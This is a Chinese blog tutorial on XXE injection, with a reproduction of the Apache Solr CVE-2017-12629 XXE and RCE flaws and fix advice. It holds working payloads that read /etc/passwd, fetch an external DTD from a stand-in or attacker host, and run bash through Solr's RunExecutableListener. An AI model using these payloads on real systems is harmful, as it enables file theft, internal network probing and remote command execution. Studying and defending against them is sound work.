浅浅浅浅谈XXE漏洞(附XXE攻击实例CVE-2017-12629)
浅浅浅浅谈XXE漏洞(附XXE攻击实例CVE-2017-12629)
我从未拥有过你一秒钟,心里却失去过你千万次。
XXE漏洞概述:
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造任意PAYLOAD,导致可读取任意文件、命令执行、探测内网信息、攻击内网网站等危害。
XXE漏洞基本概念:
- 主要是对外部实体数据(XML,可自定义)进行处理时引发的漏洞。
- XML 指可扩展标记语言,即允许用户对自己的标记语言进行定义的源语言。XML 的设计宗旨是传输数据,而非显示数据。
- XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。如下图:
不同语言支持的不同协议
- 引入外部实体方式有多种,主要这三个:
(这些都是有回显的,无回显建议利用数据外带)
1.直接通过DTD外部实体声明
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE cat [<!ENTITY cat SYSTEM "file:///etc/passwd" >]> <a>&cat;</a>
2.通过DTD文档引入外部DTD文档,再引入外部实体声明.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE cat [<!ENTITY cat SYSTEM "http://cat.com/cat.dtd" >]> <a>&cat;</a> //dtd文件内容 <!ENTITY cat SYSTEM "file:///etc/passwd">
3.通过DTD外部实体声明引入外部实体声明
简单来说就是,先写一个外部实体声明,然后引用自己构造的外部实体声明
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE cat [<!ENTITY % cat SYSTEM "http://cat.com/cat.dtd" > %cat;]> <a>&cat;</a> //dtd文件内容 <!ENTITY cat SYSTEM "file:///etc/passwd">
简单利用:
-
任意文件读取
-
内网探测/SSRF
可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。 -
命令执行
在php中,要求php装有expect扩展,利用困难。 -
等等
漏洞复现:
CVE-2017-12629:
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现,主要有两个漏洞XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。
XXEPAYLOAD:
select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://192.168.43.23:8000"><a></a>'}&wt=xml
RCEPAYLOAD:
注意两点:POST请求和Content-Type: application/json
POST /solr/newcollection/config HTTP/1.1 Host: localhost:8983 Connection: close Content-Type: application/json Content-Length: 198 { "add-listener" : { "event":"newSearcher", "name":"newlistener-1", "class":"solr.RunExecutableListener", "exe":"bash", "dir":"/bin/", "args":["-c", "mkdir /tmp/1111111111"] } }
漏洞修复:
- 使用开发语言提供的禁用外部实体的方法
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
余生很长,请多指教。
- 【每日安全资讯】通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞
- Word 0Day漏洞CVE-2017-0199攻击实例与检测响应
- 【漏洞公告】CVE-2017-11610:Supervisord 远程命令执行漏洞
- SSL/TLS 受诫礼(BAR-MITZVAH)攻击漏洞(CVE-2015-2808)
- 通过CVE-2017-17215学习路由器漏洞分析,从入坑到放弃
- office漏洞 CVE-2017-11882 msf利用
- CVE-2017-0199漏洞复现与研究
- 利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果
- CVE-2017-8295——WordPress未经授权密码重置漏洞
- 安天移动安全发布“大脏牛”漏洞分析报告(CVE-2017-1000405)
- Adobe Flash零日漏洞(CVE-2018-4878)在野攻击完全分析报告
- WannaCry蠕虫(CVE-2017-11780漏洞)不同系统版本微软官方补丁编号-参考链接
- Linux 内核 UFO-非UFO 路径切换内存破坏漏洞的 PoC(CVE-2017-1000112)
- CVE-2017-8464远程命令执行漏洞复现
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- 【漏洞公告】CVE-2017-8543:Windows Search远程代码执行漏洞
- 漏洞复现(CVE-2017-12615)
- WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞分析
- CVE-2017-8464漏洞复现
- 监测防护SambaCry CVE-2017-7494漏洞